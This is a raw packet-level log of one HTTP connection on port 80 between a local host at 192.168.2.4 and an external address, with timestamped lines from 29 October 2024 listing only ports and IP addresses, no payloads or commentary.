Oct 29, 2024 04:52:10.054014921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.054044008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.054826975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.054842949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.054858923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.054874897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.054905891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.055583954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.055617094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.055633068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.055639029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.055670023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.055684090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.056477070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.056493998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.056514978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.056534052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.056549072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.056575060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.057378054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.057394981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.057410955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.057426929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.057426929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.057451963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.057485104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.058262110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.058279037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.058294058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.058309078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.058316946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.058332920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.058365107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.169193983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.169329882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.169347048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.169410944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.169439077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.169698954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.169715881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.169754982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.170181990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.170243979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.170344114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.170361042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.170376062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.170398951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.170425892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.171240091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.171257019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.171272039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.171287060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.171297073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.171320915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.171353102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.171942949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.171958923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.171974897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.171997070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.172013044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.172733068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.172749996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.172781944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.172827959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.210839987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.210928917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.211036921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.211051941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.211082935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.211101055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.211261034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.211296082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.211318970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.211322069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.211337090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.211361885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.211893082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.211942911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.212161064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.212174892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.212205887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.212230921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.212503910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.212521076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.212537050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.212554932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.212579012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.213207960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.213224888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.213247061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.213258028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.213287115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.214107990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.214123964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.214139938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.214162111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.214291096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.286842108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.286948919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.286956072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.286974907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.287009954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.287034035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.287350893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.287370920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.287412882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.287425995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.287853003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.287915945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.287998915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.288016081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.288033009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.288065910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.288501024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.288866043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.288891077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.288903952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.288919926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.288927078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.288969994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.289561987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.289577961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.289592981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.289617062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.289648056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.290745974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.290800095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.290827990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.290836096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.290863991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.290870905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.290888071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.290916920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.329054117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.329108000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.329149961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.329168081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.329200029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.329226017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.329617977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.329670906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.329951048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.329966068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.330001116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.330017090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.330409050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.330456018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.330570936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.330585957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.330600977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.330624104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.330637932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.330657005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.331202984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.331218004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.331262112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.331360102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.331412077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.332106113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.332122087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.332137108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.332159042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.332179070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.332241058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.332297087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.332990885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.333008051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.333061934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.333080053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.405733109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.405772924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.405797005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.405828953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.405834913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.405863047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.405894995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.405899048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.405920982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.405932903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.405945063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.405968904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.405975103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.406003952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.406011105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.406049013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.407474041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.407524109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.407537937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.408333063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.408441067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.408473969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.408497095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.408507109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.408523083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.408561945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.409070015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.409105062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.409111977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.409137964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.409158945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.409173965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.409202099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.409228086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.446351051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.446439981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.446490049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.446537018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.446547031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.446580887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.446938992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.446974993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.447007895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.447026014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.447412968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.447447062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.447462082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.447480917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.447493076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.447525024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.448323011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.448359966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.448389053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.448390007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.448415995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.448437929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.448780060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.448813915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.448837996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.448864937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.449357033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.449390888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.449413061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.449424028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.449439049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.449471951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.450217962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.450264931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.450277090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.450297117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.450313091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.450334072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.450344086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.450381041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.450994968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.451024055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.451064110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.451090097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.522346973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.522442102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.522507906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.522542000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.522561073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.522586107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.523036003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.523070097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.523092985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.523108006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.523489952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.523524046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.523546934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.523561954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.524055004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.524087906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.524110079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.524122000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.524136066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.524171114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.524939060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.524991035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.524993896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.525027037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.525048018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.525072098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.525418043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.525450945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.525475979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.525485039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.525494099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.525528908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.526452065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.526488066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.526506901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.526525021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.564146042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.564269066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.564275980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.564304113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.564318895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.564348936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.564837933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.564872980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.564894915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.564915895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.565318108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.565351963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.565376997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.565392971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.565877914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.565911055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.565934896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.565943956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.565956116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.565989017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.566735983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.566771984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.566796064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.566811085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.567166090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.567199945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.567218065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.567238092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.567255020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.567277908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.568072081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.568109035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.568131924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.568141937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.568147898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.568186998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.568906069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.568939924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.568955898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.568985939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.640238047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.640309095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.640367031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.640402079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.640427113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.640564919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.640727043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.640763044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.640791893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.640810966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.641294003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.641328096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.641350985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.641361952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:10.641374111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.641402960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:10.642168045 CET	80	49730	185.215.113.206	192.168.2.4
